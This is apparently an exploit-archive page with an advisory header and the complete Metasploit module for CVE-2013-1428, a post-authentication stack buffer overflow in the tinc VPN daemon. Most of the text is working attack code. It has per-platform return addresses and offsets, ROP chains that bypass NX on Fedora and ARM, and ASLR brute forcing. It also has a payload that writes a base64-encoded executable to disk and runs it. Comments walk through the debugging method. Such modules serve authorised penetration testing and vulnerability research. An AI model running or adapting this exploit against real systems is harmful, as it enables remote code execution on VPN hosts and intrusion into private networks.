Tincd Post-Authentication Remote TCP Stack Buffer Overflow

2014.12.02
Credit: Martin
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'securerandom' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::TincdExploitClient def initialize(info = {}) super(update_info(info, 'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Tinc's tincd service. After authentication, a specially crafted tcp packet (default port 655) leads to a buffer overflow and allows to execute arbitrary code. This module has been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7 (windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works for all versions <= 1.1pre6. A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module it was recommended to the maintainer to start using DEP/ASLR and other protection mechanisms. }, 'Author' => [ # PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module 'Tobias Ospelt <tobias[at]modzero.ch>', # @floyd_ch # original finding, python PoC crash 'Martin Schobert <schobert[at]modzero.ch>' # @nitram2342 ], 'References' => [ ['CVE', '2013-1428'], ['OSVDB', '92653'], ['BID', '59369'], ['URL', 'http://www.floyd.ch/?p=741'], ['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'], ['URL', 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1428'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1675, 'DisableNops' => true }, 'Privileged' => true, 'Targets' => [ # full exploitation x86: ['Windows XP x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], ['Windows 7 x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], ['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }], ['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 } ], ['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 } ], ['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }], ['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }], # full exploitation ARM: ['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)', { 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 } ], ['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)', { 'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 } ], # crash only: ['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], ['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], ['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], ['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)', { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }] ], 'DisclosureDate' => 'Apr 22 2013', # finding, msf module: Dec 2013 'DefaultTarget' => 0)) register_options( [ # Only for shellcodes that write binary to disk # Has to be short, usually either . or /tmp works # /tmp could be mounted as noexec # . is usually only working if tincd is running as root OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']), OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]), OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3]) ], self ) end def exploit # # # x86 # # # WINDOWS XP and 7 full exploitation # Simple, we only need some mona.py magic # C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5" # !mona config -set workingfolder c:\logs\%p # !mona pc 1682 # --> C:\logs\tincd\pattern # !mona findmsp # Straight forward, when we overwrite EIP the second value # on the stack is pointing to our payload. # !mona findwild -o -type instr -s "pop r32# ret" # FREEBSD full exploitation # Same offset as windows, same exploitation method # But we needed a new pop r32# ret for the freebsd version # No mona.py help on bsd or linux so: # - Dumped .text part of tincd binary in gdb # - Search in hex editor for opcodes for "pop r32# ret": # 58c3, 59c3, ..., 5fc3 # - Found a couple of 5dc3. ret = start of .text + offset in hex editor # - 0x0804BABB works very well # UBUNTU crash only # Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because # the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known # at compile time. gcc is introducing a call to __memcpy_chk: # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c # memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print # *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed # from the repository. It might be exploitable for versions compiled with an older version of gcc. # memcpy_chk seems to be in gcc since 2005: # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c # http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088 # OPENSUSE # OpenSuse 11.2 # Installation as described on the tincd website. For 11.2 there are two versions. # Decided for 1.0.16 as this is a vulnerable version # wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm" # rpm -i tinc-1.0.16-3.1.i586.rpm # Again, strace shows us that the buffer overflow was detected (see Ubuntu) # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51 # So a crash-only non-exploitable bof here. So let's go for manual install: # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' # yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install # Exploitable. Let's see: # tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means: # the offset to pop ebp; ret is 0x0804b07f # FEDORA # Fedora 16 # yum has version 1.0.19 # yum install tinc # Non-exploitable crash, see Ubuntu. Strace tells us: # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51 # About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23 # Manual compile went on with Fedora 19 # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' # yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install # Don't forget to stop firewalld for testing, as the port is still closed otherwise # # hardening-check tincd # tincd: # Position Independent Executable: no, normal executable! # Stack protected: no, not found! # Fortify Source functions: no, only unprotected functions found! # Read-only relocations: yes # Immediate binding: no, not found! # Running this module with target set to Windows: # Program received signal SIGSEGV, Segmentation fault. # 0x0041caa6 in ?? () # well and that's our windows offset... # (gdb) info proc mappings # 0x8048000 0x8068000 0x20000 0x0 /usr/local/sbin/tincd # After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we # can try to execute the payload on the stack, but: # (gdb) stepi # Program received signal SIGSEGV, Segmentation fault. # 0x08e8ee08 in ?? () # Digging deeper we find: # dmesg | grep protection # [ 0.000000] NX (Execute Disable) protection: active # or: # # objdump -x /usr/local/sbin/tincd # [...] STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4 # filesz 0x00000000 memsz 0x00000000 flags rw- # or: https://bugzilla.redhat.com/show_bug.cgi?id=996365 # Time for ROP # To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode # as a pointer to instructions). Was lucky after some searching: # (gdb) x/10i 0x4d10ee87 # 0x4d10ee87: pop %ebx # 0x4d10ee88: mov $0xf5d299dd,%eax # 0x4d10ee8d: rcr %cl,%al # 0x4d10ee8f: pop %esp # 0x4d10ee90: ret # ARCHLINUX # archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile: # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' # pacman -S gcc zlib lzo openssl make && ./configure && make && make install # Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000 # -->Ret: 0x8065929 # No NX protection, it simply runs the shellcode :) # # # ARM # # # ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi # Although this is more for the interested reader, as Pidora development # already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs # meaning it's an ARMv6 architecture # yum has fixed version 1.0.21, so went for manual compile: # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' # yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install # Is the binary protected? # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh # # ./checksec.sh --file /usr/local/sbin/tincd # RELRO STACK CANARY NX PIE RPATH RUNPATH FILE # No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /usr/local/sbin/tincd # so again NX... but what about the system things? # cat /proc/sys/kernel/randomize_va_space # 2 # --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. # This is the default setting." # Here some examples of the address of the system function: # 0xb6c40848 # 0xb6cdd848 # 0xb6c7c848 # Looks like we would have to brute force one byte # (gdb) info proc mappings # 0x8000 0x23000 0x1b000 0 /usr/local/sbin/tincd # 0x2b000 0x2c000 0x1000 0x1b000 /usr/local/sbin/tincd # When we exploit we get the following: # Program received signal SIGSEGV, Segmentation fault. # 0x90909090 in ?? () # ok, finally a different offset to eip. Let's figure it out: # $ tools/pattern_create.rb 1676 # Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get: # (gdb) break *0x9000 # Breakpoint 1 at 0x9000 # See that our shellcode is *on* the stack: # (gdb) x/10x $sp # 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698 # 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode # 0xbee14328: 0xe3a02006 0xe3a07001 # let's explore the code we can reuse: # (gdb) info functions # objdump -d /usr/local/sbin/tincd >assembly.txt # while simply searching for the bx instruction we were not very lucky, # but searching for some "pop pc" it's easy to find nice gadgets. # we can write arguments to the .data section again: # 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS # The problem is we can not reliably forecast the system function's address, but it's # only one byte random, therefore we have to brute force it and/or find a memory leak. # Let's assume it's a restarting daemon: # create /etc/systemd/system/tincd.service and fill in Restart=restart-always # ARM Debian Wheezy on qemu # root@debian:~# apt-cache showpkg tinc # Package: tinc # Versions: # 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages) # nice, that's vulnerable # apt-get install tinc # apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh # # ./checksec.sh --file /usr/sbin/tincd # RELRO STACK CANARY NX PIE RPATH RUNPATH FILE # Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /usr/sbin/tincd # Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here packet_payload = payload.encoded # Pidora and Fedora/ROP specific things if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/ rop_generator = nil filename = rand_text_alpha(1) cd = "cd #{datastore['BINARY_DROP_LOCATION']};" cd = '' if datastore['BINARY_DROP_LOCATION'] == '.' if target.name =~ /Pidora 18/ print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18') print_status('This requires a restarting tincd daemon!') print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore') rop_generator = method(:create_pidora_rop) elsif target.name =~ /Fedora 19/ print_status('Using ROP to defeat NX on Fedora 19') rop_generator = method(:create_fedora_rop) end if target.arch.include? ARCH_CMD # The CMD payloads are a bit tricky on Fedora. As of december 2013 # some of the generic unix payloads (e.g. reverse shell with awk) don't work # (even when executed directly in a terminal on Fedora) # use generic/custom and specify PAYLOADSTR without single quotes # it's usually sh -c *bla* packet_payload = create_fedora_rop(payload.encoded.split(' ', 3)) else # the binary drop payloads packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator) if packet_payload.length > target['offset'] print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version") packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator) vprint_status("Achieved version with #{packet_payload.length} bytes") end end end if packet_payload.length > target['offset'] fail_with(Exploit::Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.") end injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V') vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...") if target.name =~ /Pidora 18/ # we have to brute force to defeat ASLR datastore['BRUTEFORCE_TRIES'].times do print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)") setup_ciphers print_status('Telling tinc exploit client to connect, handshake and send the payload') begin send_recv(injection) rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error print_error(runtime_error.message) print_error(runtime_error.backtrace.join("\n\t")) rescue Rex::ConnectionRefused print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.') sleep(3) next end secs = datastore['WAIT'] print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)") sleep(secs) end print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.") else # Setup local ciphers print_status('Initializing tinc exploit client (setting up ciphers)') setup_ciphers # The tincdExploitClient will do the crypto handshake with the server and # send the injection (a packet), where the actual buffer overflow is triggered print_status('Telling tinc exploit client to connect, handshake and send the payload') send_recv(injection) end print_status('Exploit finished') end def get_cmd_binary_drop_payload(filename, cd, rop_generator) elf_base64 = Rex::Text.encode_base64(generate_payload_exe) cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"] vprint_status("You will try to execute #{cmd.join(' ')}") rop_generator.call(cmd) end def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator) elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe)) cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"] vprint_status("You will try to execute #{cmd.join(' ')}") rop_generator.call(cmd) end def create_pidora_rop(sys_execv_args) sys_execv_args = sys_execv_args.join(' ') sys_execv_args += "\x00" aslr_byte_guess = SecureRandom.random_bytes(1).ord print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)") # Gadgets tincd # c714: e1a00004 mov r0, r4 # c718: e8bd8010 pop {r4, pc} mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V') pop_r4_ret = [0x0000c718].pack('V') # 1cef4: e580400c str r4, [r0, #12] # 1cef8: e8bd8010 pop {r4, pc} # mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V') # bba0: e5843000 str r3, [r4] # bba4: e8bd8010 pop {r4, pc} mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V') # 13ccc: e1a00003 mov r0, r3 # 13cd0: e8bd8008 pop {r3, pc} pop_r3_ret = [0x00013cd0].pack('V') # address to start rop (removing 6 addresses of garbage from stack) # 15cb4: e8bd85f0 pop {r4, r5, r6, r7, r8, sl, pc} # start_rop = [0x00015cb4].pack('V') # see target Ret # system function address base to brute force # roughly 500 tests showed addresses between # 0xb6c18848 and 0xb6d17848 (0xff distance) system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V') # pointer into .data section loc_dot_data = 0x0002b3f0 # a location inside .data # Rop into system(), prepare address of payload in r0 rop = '' # first, let's put the payload into the .data section # Put the first location to write to in r4 rop += pop_r4_ret sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i| # Give location inside .data via stack rop += [loc_dot_data + i * 4].pack('V') # Pop 4 bytes of the command into r3 rop += pop_r3_ret # Give 4 bytes of command on stack if argument_part.length == 4 rop += argument_part else rop += argument_part + rand_text_alpha(4 - argument_part.length) end # Write the 4 bytes to the writable location rop += mov_to_r4_addr_pop_r4_ret end # put the address of the payload into r4 rop += [loc_dot_data].pack('V') # now move r4 to r0 rop += mov_r0_r4_pop_r4_ret rop += rand_text_alpha(4) # we don't care what ends up in r4 now # call system rop += system_addr end def create_fedora_rop(sys_execv_args) # Gadgets tincd loc_dot_data = 0x80692e0 # a location inside .data pop_eax = [0x8065969].pack('V') # pop eax; ret pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret pop_ecx = [0x804e113].pack('V') # pop ecx; ret xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret # <ATTENTION> This one destroys ebx: mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret # </ATTENTION> # Gadgets libcrypto.so.10 libcrypto.so.1.0.1e xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret # xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret # inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret # Gadgets libc.so.6 libc-2.17.so pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret int_80 = [0x4b6049c5].pack('V') # int 0x80 # Linux kernel system call 11: sys_execve # ROP rop = '' index = 0 stored_argument_pointer_offsets = [] sys_execv_args.each_with_index do |argument, argument_no| stored_argument_pointer_offsets << index argument.scan(/.{1,4}/).each_with_index do |argument_part, i| # Put location to write to in eax rop += pop_eax # Give location inside .data via stack rop += [loc_dot_data + index + i * 4].pack('V') # Pop 4 bytes of the command into ecx rop += pop_ecx # Give 4 bytes of command on stack if argument_part.length == 4 rop += argument_part else rop += argument_part + rand_text_alpha(4 - argument_part.length) end # Write the 4 bytes to the writable location rop += mov_to_eax_addr end # We have to end the argument with a zero byte index += argument.length # We don't have "xor ecx, ecx", but we have it for eax... rop += xor_eax_eax rop += xchg_ecx_eax # Put location to write to in eax rop += pop_eax # Give location inside .data via stack rop += [loc_dot_data + index].pack('V') # Write the zeros rop += mov_to_eax_addr index += 1 # where we can write the next argument end # Append address of the start of each argument stored_argument_pointer_offsets.each do |offset| rop += pop_eax rop += [loc_dot_data + index].pack('V') rop += pop_ecx rop += [loc_dot_data + offset].pack('V') rop += mov_to_eax_addr index += 4 end # end with zero rop += xor_eax_eax rop += xchg_ecx_eax rop += pop_eax rop += [loc_dot_data + index].pack('V') rop += mov_to_eax_addr rop += pop_ebx rop += [loc_dot_data].pack('V') rop += pop_ecx rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V') rop += pop_edx rop += [loc_dot_data + index].pack('V') # sys call 11 = sys_execve rop += pop_eax rop += [0x0000000b].pack('V') rop += int_80 end end


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